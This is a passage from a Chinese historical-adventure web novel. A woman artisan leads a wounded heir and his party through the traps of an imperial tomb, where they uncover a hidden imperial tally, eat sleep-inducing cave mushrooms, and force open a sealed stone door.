隐约有一桩极重要的事呼之欲出,如鲠在喉,却偏偏抓不真切。
张铎的声音又将她拉回此刻:
“后来我离开王府,调任工部。可出身就如同烙印一样,洗脱不掉。”
他话里满是无奈。
“我无法撇清与王府的关系,享了余荫,自然也要替王爷分忧解难。接到武阳侯密令时,我实不愿谋害先王妃之子,已决心告病辞官。可、可当我在工部署衙见到世子,却发现他与幼时模样有所不同。”
“世子出生时,右耳后有一块不起眼的青斑,如今却不见踪影。我以此说服自己,他并非真的世子,这或许不过又是一场乱局。”
张铎自嘲道,“直到我亲眼再见那枚玉佩……世子幼时便是像这样将它挂在脖子上,贴身佩戴,从不离身。有些胎记会随着孩童长大而消失,我并非不知,只是自欺欺人罢了。”
他颓然道,“我儿年前便成了亲,新妇有孕,我也快要做阿翁……”
昭早早无意听他絮叨家长里短,世间谁人行事不是事出有因,谁没有心之所系?
缘由为何,苦衷哪些,事后陈情,徒劳无益。
她冷声打断道:“所以毁堰溃堤的人,到底是谁?”
张铎像被抽空了力气,摇头说:“我着实不知。武阳侯只令我使些小手段,吸引你们的注意。但据我留意,此人并不在此行来利琅山的队伍中。”
废话。昭早早白眼,那帮死士混在肖炎的队伍中,再明显不过是从守陵军那边渗透进来的。但如何能在肖炎眼皮子底下替换掉原本的守卫?
这其中必定还有蹊跷。若主将朱彪便是同谋,那他们就更不可能等到外界援军了,还是要尽快凭自己的本领出去。
说起来,祁溪的胡子被冲掉了,阿琛那聊胜于无的装扮也没好到那去,等肖平醒来看见他俩,再联想到前一次在地宫的经历,搞不好会起疑——加上自己,这
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都快凑齐半数的原班人马,委实难以辩解。
“走吧张大人,”昭早早指向前方,“先去弄点吃的。”
当下都是饥肠辘辘,张铎不由咽了口唾沫,又疑惑道:“可这前头像是条暗道?”幽黑深邃,看着就不详。
昭早早不耐烦答,“避光。”
张铎忽地明白过来,原来如此!他虽未参与过修建皇陵,但依照侍死如生的规制,便也能猜到前方是何处,确实能解燃眉之急。
地宫另一侧,苏醒过来的肖平正与阿琛对视,并非疑问而是陈述道:“你是丑陵地宫的逃犯之一,你叫阿琛。”
“我确实叫阿琛,但我这个长相在我们村非常多见,一颗椰子掉下来能砸到四个跟我长一样的。”
阿琛一本正经解释道,“所以世子您看到的肯定是另一个阿琛,你们中原人很容易分不清我们谁是谁。”
肖平没有接话,很显然是不愿意再浪费口舌。
昭早早抱着两坛酒进来时正好听到这段对话,相当无语,也只能装作没听见,扬声道:“大家过来吃点酒,暖暖身子。”
张铎跟在她后面,也吃力地抱着一大坛。众人大喜,一拥而上,四和不放心问:“这地宫里的酒存放了这么久,还能喝吗?”
溪真道长已把他扒拉到一边上前抢坛,“不懂让让,这等御品陈酿你说呢?出去有钱都买不到!”
昭早早单独给肖平带了一小壶蜜酿,甜香扑鼻,比起酒更似糖浆,不必担心他饮下烈酒加重伤势。四和在一旁看着,欲言又止,终是转头与其他人争抢酒坛去了。
“你还好吗?”她说着去探肖平的脉象,低声问,“你……”——为什么要救我?这话实不该在此情此景问出口,她怕他答,也怕他不答。倒不如不问。
肖平却一直很安静地看着她,等着她把话说话。
昭早早没办法,只好生硬地补了句:“你没事吧?”说完只恨不能把没用的嘴巴扔掉算了。
她真心悔过从前讽刺肖平是半个哑巴有多不应该了,毕竟她连哑巴也不如。
“我没事。”肖平回答道,破天荒的,浅浅露出一个微笑。
昭早早一下子看得呆了,他好像……好像……旋即又觉自己真的是失礼至极,忙慌慌张张找了个借口,也钻进了喝酒的人群里。
坛子正好在溪真手里,她夺过来便灌,咕噜噜喝下去不少,这才冷静些,那酒肉道士嘟囔着很是惋惜:“这么好的酒,怎么也不品品就灌?”
阿琛鼓掌笑说,“酒量不错。”
一轮烈酒下肚,不少人都有些醉意,什么“昭大人巾帼不让须眉”胡侃乱吹,气氛活络,把遇刺被困的颓丧都冲淡不少。
昭早早摆摆手说:“喝够了就收拾一下,得在这里升起火堆才能过夜。”
一则取暖,二则是偌大的地宫里,并非完全没有“活物”,需得小心提防。
说是“过夜”,实则地底下不见天光,根本无从判断白天黑夜,不过是估摸着休息几个时辰,权当养精蓄锐,再行寻路。
43. 符节
庞大的石柱拔地而起,其上雕刻着繁复的祥云与龙纹,鲛人灯能照亮的范围有限,望不到顶的穹隆隐没在浓郁的黑暗中,人行走其间,显得十分渺小。
“据闻亥陵地宫不到十年便建好,怎会如此广阔?”
张铎举着一支临时制作的火把,声音因震撼而有些发颤。火光摇曳,掠过石墙上色彩鲜丽、栩栩如生的壁画,各种宏大队列、祭祀神坛与天象图,无声地诉说着帝王生前的尊荣与权势。
“因为这前庭是依托天然溶洞所造。”
走在前方开路的昭早早随口解释道。前世进入此地的记忆,正逐渐地与眼前的场景重合,指引方向的同时,也提示着危险。
这里不少地方暗藏玄机,所以她每走一步都分外谨慎。
前庭极为宽敞,可容数驾马车并行。地面铺着成片的青石板,打磨得极为平整,即便蒙尘,也能想象昔日光洁簇新的景象。
两侧每隔数丈便立着一对镇墓兽石雕,或狰狞,或威严,在跳跃的光线下,它们的影子被拉得忽长忽短,仿佛随时会活过来扑向来人。
阿琛逛街一样,边走边摸还边点评:“哎,这赑屃背上还背着一幅画。”
“山河图,”溪真凑上前看了眼道,“帝王心术,生前死后皆求永镇山河。”
阿琛笑说,“这么多帝王,阎王那块不得打起来了。”
张铎听得连连咳嗽数声,昭早早则是头也不回道:“你若是摸到那青铜鹤形灯奴,就能去阎王殿瞧瞧谁打赢了。”
阿琛从善如流收回手,为表决心,还把两手背到身后,目不斜视。
肖平在四和的搀扶下缓步而行,脸色苍白,但眼神却锐利地观察着周围,并未错过任何细节。
他的呼吸因伤势而略显粗重,眼看快穿过前庭,昭早早回身问他:“你怎么样,用不用休息一下?”
肖平轻轻摇头说,“不用。”
“那我们走这边,”前庭尽头有两条甬道,昭早早指向右侧,“沿着这个方向,应当能够通往那条水道出口。”
她说的正是前些时日修复重建、设有青铜闸门的那段水路,说来也是无心插柳,若非她执意敛骨,那地方现下也是不通的。
四和问:“可那条路只有走水的沟渠,中间是一堵石壁,我们怎么过去?”
张铎看向昭早早,语气隐含希冀道:“那石壁怕不是个石门机关,可以打开?”
昭早早沉吟片刻:“但愿是吧。”
她之前探查,石壁从外部难以开启,但未必不能从里面打开。前世慕容青接掌亥陵数日便横死,偌大的地宫诸多细枝末节怎可能一一记得请。
何况奉安先帝入陵与水道毫无干系,若非大意此节,也不会被人钻了空子设下埋伏。
众人一愣,阿琛率先道:“你没把握就把我们往那边带,难道打算碰运气?”
他半开玩笑看向身边的道士,“那会不会让他带运气比较好,到底是得道高人,通玄之士呢。”
溪真睇他一眼,没好气说:“是不是机关不重要,关键在于那边有防洪铜闸可以打开出去,我们这么多人,挖也能把墙挖个洞,怕什么?”
不愧是盗墓贼的老本行,昭早早赞许道:“对,所以我们等会要先去右耳室拿些陪葬的兵器,找趁手的带在身上,既能防身,又能打洞。”
行至近前,昭早早忽然出声,喝止众人停下,只见她将石室门口的鲛人灯扭转,随着机扩声响,门口原本的石板竟挪动换位了一块,仔细分辨,可以看出其颜色较周边略深,边缘略大。
四和好奇道:“这是什么机关?”
昭早早蹲下身,轻轻敲击石板,确认回响正常后,才道:“这里设有一块翻板陷坑,直接踩的话会掉下去,现在没事了。”
众人越发小心,右耳室相较左耳室更大,其内有诸多分隔,各式青铜礼器、漆器与玉器罗列其中,成箱的书画、精瓷,还有乐器,琳琅满目。
钱窖里成箱的银锭乍看财大气粗,实则昭早早心如明镜,这些银钱贵重远不如金玉,也就表面唬人。
当初建极帝为了安抚旧臣,一应礼制虽然未减,但实际财物多有克扣,好在兵器是非常足备的,甚至为了凑数多有超过,搬出去武装一支私兵都绰绰有余。
“这么多宝贝……”有护卫忍不住低语,眼中流露出贪婪之色,但看到前方世子沉凝的背影,又尤有惧怕。
昭早早停下脚步,面前兵器架上长戟如林,巨盾一次排开,颇为壮观,她又打开了几口大箱子,让众人各自挑选。
“这戈戟的头太长,不好使!”
“找找有没有短柄的斧钺?”
“这铜锤倒是不错,就是太沉了……”
石室内响起一片金属碰撞和议论声。
昭早早自己也挑选半天,最终拿了一杆长度适中、带有弯钩的长铩,这种兵器既能刺击又能勾拉,用来开凿石壁撬动边沿勉强还算合适。
阿琛随意地拾起一把船上常用的钩拒,形制跟她的差不太多,稍短一些。
倒是溪真看着松形鹤骨弱不禁风,直接选了最重也最坚实的铜殳,然后果断用斧子劈断长杆,只留头前拎在手上,昭早早一看,这不就是石凿么?!
好家伙,当即她把长铩一扔,也拿了个铜殳如法炮制。
唯独肖平环顾四周格外认真,却并未挑什么“工具”,这也是理所当然,哪有主将亲自动手的道理。
昭早早不放心他,眼角余光始终留意,见他静静走向角落里一面巨大的的青铜盾牌,那盾牌造型古朴,中心刻有兽首吞环,虽边角有些锈蚀,但整体结构完好,就分量来说,不可能应用于实战,而是一件礼器。
他轻声对四和说了些什么,四和立即上前费力地试图将盾牌扶正,昭早早忙快步过去道:“我来。”
不是别的,这青铜盾本就放置歪斜,她怕四和失手砸到人。
通常为了减重和方便持握,盾牌内侧不会做得完全平整,即便是礼器也一样。
这一块背后却光滑得过分,她触手摸上去便觉奇怪,将盾牌稍微倾斜看了看,却又没发现什么异常。
肖平走到她身边,微微屈身,伸出两指,沿着盾牌的边沿向下摸索,角落里光线昏暗,加上肖平上半身的遮挡,昭早早并没有看清他按到了何处——
总之肖平手腕一翻,盾牌背后赫然露出一个中空的暗格!
暗格之中,嵌着一枚巴掌大的金属物件,正面是一只展翅欲飞的玄鸟,肖平不动声色将其取出,昭早早隐约看到那东西背后刻有繁复的云纹和一个古体的“粱”字,边缘呈齿状结构。
昭早早瞳孔骤缩,她认得这个东西:天子符节。
建极帝篡位之初,因为没有寻到此物,还曾大发雷霆——本来就名不正言不顺,这下连粉饰太平的信物都没有,何其难堪,毋怪边郡皆反。
谁知这信物竟是藏在这里?
最后还沦落到做了先帝的陪葬,倒也恰如其分。
权柄在握时,它固然是号令天下的凭证;失去权势时,便只是块蒙尘匿影的废铁。
她无言地看向肖平苍白的侧脸,心中疑问盘旋,不知该如何开口——毕竟以她的身份,绝不可能认识这物件,而她不解的是,肖平又怎么会知道这些,甚至洞悉盾牌里的夹层?
她还没有傻到会相信肖平是无意间发现符节的,或许在他前往利琅山前,就已经有人告诉过他一些讯息……会是肖将军吗?还是另有他人?
事到如今天下大定多年,再拿此物出去又有何用?
而肖平只是沉默将符节收好,并没有解释之意,反倒竖起一根食指压在唇上,对她做了一个噤声的手势。
周遭无人注意到盾牌背后发生的细微枝节,昭早早暗叹一口气,眼下确也不是探究这些的场合。无论怎样,还是得先脱困,否则一切都是空谈。
离开耳室,队伍继续在幽深的地宫中前行。
回环相连的甬道错综复杂,一连穿过两处偏殿都不对,最后离正殿玄宫已然不远,昭早早遥遥望去,满室碧绿的藤蔓影影绰绰垂悬下来,搭覆在高台石床之上,与丑陵的景象别无二致。
她知这么远的距离其他人看不真切,便问肖平:“要绕过去看看吗?”
到底是昏厥前都惦记着的任务,昭早早以为他会在意,但肖平仅仅跟她一样朝那个方向望了望,便摇头说:“不必,尽快出去。”
昭早早应声道,“好。”
他们从一条隐蔽的暗门中终于找到正确的通路,愈往里走潮湿的气息愈发浓重,混合着某种难以描述的、类似苔藓和
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腐土的奇异味道。
更奇怪的是走着走着连鲛人灯也没有了,火把的光芒只能照亮脚下数尺之地,四周的壁画与雕塑逐渐被粗粝的岩壁所取代。
“我们是不是走错路了?”四和疑惑地问,他感觉脚下的坡度产生了微妙的变化。
张铎也有些迟疑,毕竟这条路和之前的酒库可是大不一样。
“没错。”昭早早环视左右,这里的甬道不再是规整的人工开凿,而呈现出天然洞穴的宽窄不一,她侧耳倾听,“有滴水声。”
一行人更是面露迷惑,好几个人也凝神去听,什么都没听见,昭早早卖关子说:“前面可是‘御花园’呢,等你们到了就知道了。”
果然,等他们再走近些,细微的滴答声从前方幽暗处传来,隐隐含宝光流转,众人精神一振,加快步伐,尽头处豁然开朗,眼前的景象让所有人为之一怔。
他们仿佛闯入了一个不属于世间的地下桃源。一整片五彩斑斓、散发着幽幽荧光的“花田”铺陈在这洞天福地之中。
穹顶高悬,无数钟乳石倒垂而下,水滴沿着石尖缓缓滴落,点滴敲打在那些嫩生生的“花朵”上——它们看形状实为蘑菇,但色彩实在绚丽。
有的如火焰般赤红,有的如月光般银白,有的嫩黄如初蕊,有的深紫如晚霞,更多的则是深浅不一的幽蓝,如同星屑洒落凡间。
它们不止长在地上,还附着在岩壁、甚至从高处冒出头来,将整个洞穴映照得如同幻梦之境,光怪陆离,美得令人心悸。
“这……这是怎么做到的?”张铎愕然,他自认见识广博,也未曾听闻如此奇景。
再欣赏一次也依然惊艳,昭早早道:“此溶洞本然如此,工匠未加改造,只是巧妙地将其嵌入地宫之中,成为‘园景’。”
“好漂亮……”有护卫忍不住惊叹,下意识就想伸手去触摸那些发光的蘑菇。
“别动!”阿琛和昭早早几乎同时出声喝止,她警告道:“观赏便罢,可碰不得,这些蘑菇越是好看,越会要命。”
“没错,”阿琛附和道,“除了那种白色的,白的没毒,可以吃,鸡肉味。”
他一说鸡肉味,洞穴里骨碌吞口水声一片,众人都是一天一夜没有进食,虽说饮了酒水,但哪里管饱。光阿琛片面之言护卫不敢全信,忙向昭早早确认道:“昭大人,真的能吃吗?”
“啊?”这真是问到她的学识盲区了,她也转向阿琛:“你确定?你吃过这种蘑菇吗?”
“当然了。”阿琛非常自信,弯腰挑了最近的一朵白菇利落切断菌柄,甩在手里给他们看,“这种在暗处发白光的叫‘地珍珠’,生吃不行,煮熟了特别香。咦,你们看,这底下褐色的是‘石菌’,毒性很弱,煮熟了也能吃。”
他说的煞有介事,昭早早不禁动摇,来的路上就摆设有炉鼎,找些能烧的物料也不费事,他们随身还带着酒水,似乎是可以一试。
连肖平也没有反对,众人兴奋起来,七手八脚开始采摘白色蘑菇,连同一些褐色的石菌放到一起,阿琛负责检查有无错拿的异类,昭早早则是带人去取鼎。
篝火升起,铜鼎内的水渐渐沸腾。
采集来的菌菇被粗略擦去浮土,投入鼎中,很快就有一股奇异的肉香混合着鲜味弥漫开来,一时间腹鸣声大作,大家你看看我,我看看你,谁也不好意思嘲笑谁。
一鼎浓稠的菌汤煮好,碗是没有的——其实耳室内有碗,但谁有心思拿那个。
阿琛就着酒坛子把汤舀出来,尝了一大口烫得直咂嘴,其余人接过来晃荡晃荡正好稍凉,便一块分食起来。
味道难以形容,确实是鸡肉香,但没有盐就谈不上美味,只能说清淡、热乎、能裹腹,就当下的情形来说,已是无可挑剔的好东西。
别的不说,若实在一时半会出不去,靠着这方山洞里的蘑菇也能多撑个七八天。
吃饱喝足人就容易犯困,张铎年岁最长,已靠着石壁歪斜过去。
护卫相继打盹,四和踉踉跄跄想站起身来扶肖平,自己却先软倒在地,肖平哑声道:“这汤……”
话语未完已是气力难续,向前载去,昭早早霎时心道不好,一把接住他,抬眼惊看阿琛——对方也正似笑非笑地看着她,竟还抢先问道:
“怎么就你没晕?”
44. 阿琛
昭早早骤然眼神一厉,猛地起身抓向阿琛肩头,声音冷冽:“你到底在耍什么把戏?
她五指如钩,招式凌厉,阿琛似早有所料,身形不退反进,灵巧地侧身拧腰,游鱼般旋身躲开,堪堪避过昭早早这志在必得的一击!
两人电光火石间已回身又交手数招,拳掌相击发出沉闷声响,昭早早面色更冷,原只想先卸脱阿琛关节拿住再问话,若是这样,她便不可留手了。
一念改,她当即变了打法,前世所学多的是一击毙命的杀招,阿琛眼神一滞,借势后撤一步,满腔求和的无辜:
“问话也得先给人开口的机会吧?哪有一上来就动手的?我可以解释。”
昭早早留神听了一下众人呼吸都还平稳,这才耐住性子:“好,你说。”
“哎!”阿琛夸张地叹口气,神色稍正道:“我绝无恶意,所言句句属实!”
“这些蘑菇,我早年漂泊南海时,在荒岛洞穴里见过也吃过,第一次吃确实晕眩昏睡了一阵,时隔久远方才忘了提。放心,对身体无害,睡一觉便好,以后再食用就无碍了。”
“真的,”阿琛眨眨眼,“不信你稍待一会,等他们醒来便可验证。倒是你,为何初次食用也安然无恙?莫非也恰好在哪吃过?”
昭早早冷眼睨他,不欲接话。在验证之前,这话她最多信三分,没必要顺着他引导去思考莫须有的问题。
正当两人对峙,气氛紧绷之际,一阵梦呓声从旁边传来。
昭早早分神看去,是四和。他不知在做什么梦,眉头紧锁,冷汗涔涔,显得狼狈而痛苦,急切地呢喃起来:“……大水来了……爹、娘……不能跑……公子还在……”
昭早早一面紧盯阿琛一举一动,一面快步过去,指运巧劲按压其神道、灵台二穴。四和猛地睁眼,看清现状后霎时弹起,下意识拔剑护在昏迷的肖平身前——
还没等他发问,却见寒光一闪,昭早早的短刀已先一步抵上他喉间!她斜睨阿琛,俨然一副“同伙”的姿态。
阿琛不明所以,抱臂倚墙,非常识趣地保持着沉默。
“别动,否则要你的命。”昭早早刀锋微压,厉声道,“看你是个可造之材,给你个机会。杀了世子,我带你活命。否则,你们都会死在这里。”
四和瞋目切齿,毫不惧死:“公子对你那么好,你竟叛他,我死也不会放过你。”
“你不放过的是你自己。”
昭早早忽然收刀后撤,语气讥诮,不忘退一步以防四和应激发难。
“你看,你仍是你家公子的好护卫。谁都有忌惮恐惧之物,临危退避乃人之常情,你愿意折返救援,已是尽忠。何必耿耿于怀?”
这一路四和虽然极力遮掩,但昭早早不难看出他始终因畏水先逃而自责,肖平定然体谅,才表现得一如往常,可惜这无形中的宽慰四和并未会意。
眼下时机凑巧,昭早早顺手帮上一帮,倒也不费事。
四和面色惨白,唇抿成线,阿琛跟他解释蘑菇缘由种种,他也没什么反应,只默默地去搀扶肖平,以免压到其背后伤口。
然而肖平借他一臂之力,竟自己站起来了,也不知早已苏醒多久。
阿琛转身道:“我去看看道士醒了没。”
“我也去,”昭早早忙跟上他,“是不是用湿布给他们擦擦更快些?”
四和此时手足无措,肖平垂眸道:“多谢你。”
“公子谢我什么?”
“不知你畏水,让你随行下河道,是我失察。”肖平目光温和,“谢你顾惜自己的性命,不至令我追悔莫及。”
四和眼眶泛红,哽咽难言。
昭早早和阿琛对视一眼,也算冰释前嫌,两人一左一右把住溪真道长双腕,都像是探脉的样子,实则一个偷听一个偷看,肆无忌惮。
阿琛还装模作样地对昭早早说:“换手。”
溪真当即睁眼大怒:“诊脉都是先左后右,她好歹还是先诊的左手,哪有你这样倒过来看的?而且你按的是寸关尺吗,你摸的是肘窝!”
“醒了你早说嘛,”阿琛面不改色收手道,“我这并非诊脉,乃是南洋按摩术,这不给你按醒了吗?”
“是你按醒的吗?”溪真瞪眼道,“那蘑菇我本来吃得就不多。下次这等要事提前说明,否则当心死都不知道怎么死的。”
阿琛笑答:“绝无下次。”
此时其他人陆续苏醒,确实如阿琛所言,众人身体无碍,且应是填饱了肚子又小憩的缘故,还觉格外精神抖擞。
短暂休整之后,队伍再度启程,直奔水道。
越往深处走,向下的坡度越发明显,隐隐有极轻微的、涓涓细流声自脚下传来,有护卫警惕问:“这水声渐响,会不会有什么机关?”
昭早早摆手道:“这声音证明我们走对了。”
她懒得细讲,张铎倒是还挺有耐心地说明道:“此乃暗渠排水声。”
“地宫嵌套在山体内,长久以往必然会渗水,所以地宫砖石皆设泄水孔,汇集至暗渠排出山外。如今水声汩汩,只怕利琅山中这两日雨势不小。”
出事前洞外便雷声大作,下暴雨也在情理之中。只是这下众人更为明白,此刻想要逃出生天,求人不如求己。
正说着,昭早早忽地举手止步,众人急停。
“怎么了,昭大人?”
“你们看。”
众人顺她所指望去,只见前方是一处甬道拐角,地面色泽深暗。离地宫正殿越远,砖石就越粗糙,近来都是这样青黑的沙石路,除却走起来有点硌脚,也瞧不出有何异样。
倒是阿琛眼尖,一眼就看出端倪:“这路好像不对。”
后头立刻有人凑上前问,“是走错路了吗?”
“那倒不知。”阿琛耸肩道,“是路面不对。”
昭早早足尖轻点,一枚石子飞射而出——然而预想中清脆的撞击声并未传来,那块石头竟是悄无声息的不见了!
地宫中光线晦暗,火把能照明的范围也有限,看不清石子落处倒也不算什么,可全然听不到声响却很奇怪。
四和特地又扔出一块更大的碎石,结果与方才的情况如出一辙,不过这次众人看清了——石头是瞬间没入地面的!
几名护卫大惊:“这是什么妖术?”
溪真也不由凝神,“想不到此地竟有……”大约是察觉险些失言,他立刻住口。
张铎小心翼翼凑近两步拈起一点黑泥在指间摩挲,不由赞叹出声道:“秒哉!这是用湿的黑沙泥做的陷坑。”
“若是干沙,经年累月逐渐沉积,必定下陷明显,难以起到陷阱的作用。而只消于此处暗渠开凿一道小小分流,引些活水充盈沙坑,便可保此机关千年不朽!”
“黑沙泥黏性极大,一旦陷入,再想要将人拉出来,可比普通流沙坑难太多。”
四和道:“张大人且说一说此等‘妙哉’,我们该如何过去?”
张铎支吾半晌,““……若是直坑,或可捆扎长梯铺架其上爬过去。可此处建成弯道,必定是有所防范,让梯架难以着落,搞不好前面还多有弯折,也不知这湿沙坑到底有多长?”
他这一通废话说了等于白说,四和暗翻白眼,别过脸去,又将目光转向溪真,“道长云游四海,见多识广,可有办法?”
溪真答道:“我们可以先回到耳室,拆卸几个较大的箱子,锯成木板,一片片铺过去。”
“不必想了,那些箱子都是铁木做的。”阿琛一桶凉水泼下来,“铁木沉水,拿来铺底,只怕陷得比人还快。”
溪真被他噎住,众人一时集思广益,想什么办法的都有,却没有能行的,昭早早道:“我只是让你们注意,没说过不去啊。这般陷阱,直接跑过去就好。”
墓室一静,众人瞠目结舌,拿不准她是否只是在打趣逗笑,唯有肖平认真问道:“需跑
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多快?”
“普通速度就行,”昭早早转身欲行,“按理只要步履不停即可,我先试试,你们等着。”
“不可。”肖平一把拉住她。
众人这才反应过来昭早早并未说笑,都觉不可思议,却也不敢随意置喙。一路行来,这女匠作的本事有目共睹。
肖平命人拿出绳索,这东西原是在兵器库中捆扎军械的,此刻正好派上用场。昭早早以为是要她系上的意思,爽快接过,却发现肖平把着另一头,也正往腰上系——竟是要代她去。
“不行,”昭早早眉头一皱,劈手夺绳,“我去,你还有伤。”
肖平翻腕一荡,没有让她得逞,“无碍。”
两个人僵持不下,四和忙劝道:“公子,让属下去吧?”
肖平迟疑一瞬,昭早早趁机把绳子强力拽过来,数落道:“你俩逞什么能,我若是没把握,自然不会冒险,且先等着。还是说信不过我?”
肖平定定注视着她不语。
周遭一时鸦雀无声,气氛略显微妙。昭早早也不管那些,把绳子的另一头抛给四和,叮嘱道:“拿好,等我传信。”
话音未落,人已掠出,她离弦箭般消失在拐角尽头,脚下的确半点未曾陷落,可那速度无论如何也谈不上“普通”——普通人拼尽全力还差不多。
绳索飞速抽动,眼见将要耗尽,肖平从四和手里接过绳头,挽了一圈在腕上,已然走到湿沙坑的边缘。
溪真拦在他前面,正要说什么,前方传来一连串咔哒声响,绳索骤然垂落,肖平面色一变,失声道:“早早?!”
“无碍!”远处传来她清亮回应,“这里有点东西,我处理一下,稍待!”
肖平应道:“小心。”
他全神贯注原地等着,待昭早早全须全尾回来,紧绷的肩膀这才微微放松,在池边伸出手。
昭早早哪里敢扶,轻巧避开,但见他脸色苍白,心说这般虚弱,果然伤得不轻,幸好没让他乱来。
旁人急道:“昭大人,前面情况如何,我们能过去吗?”
昭早早点点头,在地上画了一道弯折的路径图,“前方地形曲折,需一鼓作气,绝不可中途停顿。”
肖平把断掉的半截绳索扔到一边,问她方才处理了什么,昭早早轻描淡写解释道:“有两道飞刃绊索,我把它拆了。墙上还有一处血蝠洞的开口,所以千万不能乱摸那些浮雕。”
“血蝠?!”众人闻言惊诧,阿琛倒是好奇:“活物能在地宫里繁衍生息这么多年吗?它们吃什么?”
“血蝠本就生活在地下,它们嗜血,但也可以吸食植物的汁液。”溪真说起这些很是了然,“之前那个蘑菇洞顶上有许多密密麻麻的洞眼,想来与血蝠洞穴是相通的。”
阿琛恭维道,“道长真是博闻强识。”
溪真瞥他一眼没接话。
肖平适时下令,语态淡然却带着不容置疑的威仪:“稍后我与昭匠作先行,余者依次通过。身负重物者——无论何物,此刻舍弃,概不追究。”
他目光扫过几个眼神闪躲的护卫,继续道:“性命攸关,务必思虑清楚。若执意携重而陷险境,须自行承担后果,无人会冒险施救。”
他说的重物自然不是那几个钩拒铜殳,从右耳室出来,不少人或身形鼓囊、或步履沉重,藏了多少东西在身上自不必说,非常时态,本是睁一只眼闭一只眼,奈何眼下有此危机。
肖平这番话恩威并济,既给台阶,又划明底线。
他言罢转过身去,再未回头看。几个护卫面红耳赤地掏出私藏财物扔到地上。
昭早早见状,伸手握住肖平手腕。两人交换眼神,同时发力疾驰,衣袂翻飞间如双鹤掠过流沙。阿琛拽着溪真紧随其后,四和则半扶半拖着张铎跟上。
待大部分人马安全抵达对岸清点人数,却发现少了两人。呼救声从后方甬道中传来:“世子救命!我们知错了!”
45. 断崖
历经湿流沙的惊险,队伍沿着愈发潮湿阴冷的甬道继续前行。
火把的光晕在青黑的岩壁上投下半明半昧的阴影,空气中水汽氤氲。很快,一面巨大的石壁阻挡了去路。
它与周遭岩层浑然一体,表面粗糙,布满了天然形成的纹理和深绿色的苔藓,乍看之下与地宫中其他未经雕琢的岩壁别无二致。
“怎么没路了?”打头的护卫失望道,声音在狭窄的甬道中回荡。
“不是没路,是到了。”
众人的目光齐刷刷投向昭早早,她举高火把,贴近石壁,审视半晌,更为笃定道:“这就是那堵石壁。”
石壁背后的水道这里不少人都是见过的,铺设讲究,装饰繁复,可一墙之后却是如此的朴实原始,难免叫人起疑。
昭早早道:“这种设计,自然是为了恫吓侥幸爬出湿流沙的人。”她手指轻拂过湿滑的石面,仔细感受着那看似杂乱无章的纹理。其他人屏息凝神,生怕打扰其判断。
“暂时摸不到活动机关。你们看,”她指向边沿一处不易察觉的细小裂隙,“此处岩层并非天然断裂,而是人为拼接后矫饰以石粉。所以这扇石门定然可以开启。”
她后退几步,目光如炬在石壁上下逡巡。
“此地潮湿,核心机括必以耐侵蚀的青铜或玄铁打造,藏于石芯之中。可光从外表我看不出具体位置,就算直接凿开表层,也多半不会是简单的按动机关,而设置有一定的规律或是顺序。”
张铎认同道:“自当如此。以地宫之机要,必有玄机。”
四和问:“那该怎么办?”
溪真亦凑上前来,“再找找有什么隐藏的线索。”
一众人把石门盯了个透,如果目光可以洞穿石壁,他们眼下只怕都已经过去了。昭早早耐心耗尽:“既然找不到机关,不如来硬的。反正我们带了工具,从墙角开个洞便是。”
溪真不赞成道:“这样鲁莽行事,很容易误触机关。”
昭早早并不否认,“没错,所以是得当心点凿。触也就触一次,只要能抗过去,就能离开地宫。”
见无人再有异议,昭早早向溪真伸手道:“道长,借铜殳一用。”她原本携带的那支,已在不久前钉入了湿沙坑的岸边。
“求世子开恩!救救我等!”
彼时甬道中哭喊声凄厉,肖平面容平静如水,转身离去的背影孤直而挺拔,半点未曾动摇。
前言既出,他绝不可能再心软收回,身为上位者若做不到令行禁止,何谈树立威信。
昭早早理解他的决断,却在他回眸的间隙领会了其中的未尽之意。
没有任何言语交谈,单凭一个眼神,昭早早竟是明白了他想要自己做什么。
无奈,她回身将铜殳猛地钉入地下,拿出那剩下的半截绳索,一端系牢其上,另一端则挂上坠石,扬手抛向陷坑方向——是死是活,后续又能否等到救援,就看那群人自己的造化了。
全程无人多嘴,唯有阿琛似笑非笑看她,意味不明。
昭早早佯作不觉,然而等这次脱险,她势必会再好好查探此人。
此刻,溪真递出铜殳,昭早早运劲于腕,反手一击砸向石壁角落——原是想标记开凿位置,好叫众人集中,却不料“铛”的一声巨响,虎口被震得发麻!
她随手选的这一处奇硬无比,碰撞间分明是金铁相交之声,昭早早立刻明白机不可失,当真是吃奶的力也用上,一旁肖平最先反应过来,出手与她合力,一齐将铜殳深深插入了某个隐藏的机窍中!
只听“咔哒”一响,清晰无比的机括啮合声从石壁内部传来。
在众人惊愕的目光中,那面原本看似无懈可击的巨大石壁,竟然发出一连串低沉的“隆隆”声,缓缓地向内凹陷,继而向一侧滑开,露出后方幽深的甬道。
一股更加清新、带着水腥气的冷风扑面而来。
“开了!竟然开了!”四和惊喜大叫。
“昭大人真乃神人也!”
护卫们纷纷赞叹,眼中充满钦佩。很显然他们以为这是昭早早有意开启了机关。
张铎也抚须颔首:“昭家绝学,果然名不虚传。”
连溪真看向昭早早的眼神中也多了几分怀疑和探究,要说凑巧,这未免也实在太巧了些。
“时来运转啊,竟有这等好事落到我头上。”
昭早早自己也是惊喜交加,差点忍不住放声大笑。虎口被震裂鲜血淋漓也未在意,倒是肖平递给她一方帕巾包手。
通路就在眼前,所有人脸上都露出了绝处逢生的喜悦。
穿过石门,确认此处果然是之前发现那两名杀手遗骸的地方。
顺着这条路不久就能出去,她此刻反倒不急,细细打量起四周,心中疑窦丛生。
此门两边同样的位置,石壁的纹路其实有律可循,证明这一层本就松脆,可以砸掉。
可这里偏生半点痕迹也未曾留下,当时追兵在后,慕容青带着公主逃至此地,为何不设法打开石门躲进去?这无疑是条活路,慕容青却果然选择去断崖,为什么?
是因为她身受重伤,已无力打开机关,还是说,那里有其他更好的选择?
“不对……”她低声自语。
“有何不对?”肖平注意到她的异常,走近询问。
昭早早抬眼一看他的面容,竟有刹那的恍惚,她勉力镇定道:“无事,我去看看暗河现下水位有多高,一会出去,也好与其他人商议。”
“我与你同去。”肖平立刻道。
这里的岔路本就不长,举着火把彼此遥遥都能看见,一来一回废不了多少时间,昭早早便也就由他。护卫自然是跟着他们,其他人则留在原地休息等候。
“你怎么不跟着去看看?”溪真见阿琛懒骨头一样靠在墙上就奇怪,这人分明好凑热闹得很紧。
“累了,”阿琛道,“还要留点力气一会跑路。你呢,不过去也是因为怕水?”
溪真默然。
而另一头昭早早他们已走到断崖边,下方传来暗河的咆哮声,白沫翻涌,水流
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湍急。反正很快就能出去,昭早早索性扔下去一个火把,俯身向下望,试图在昏暗中找到任何可能被忽略的疑点。
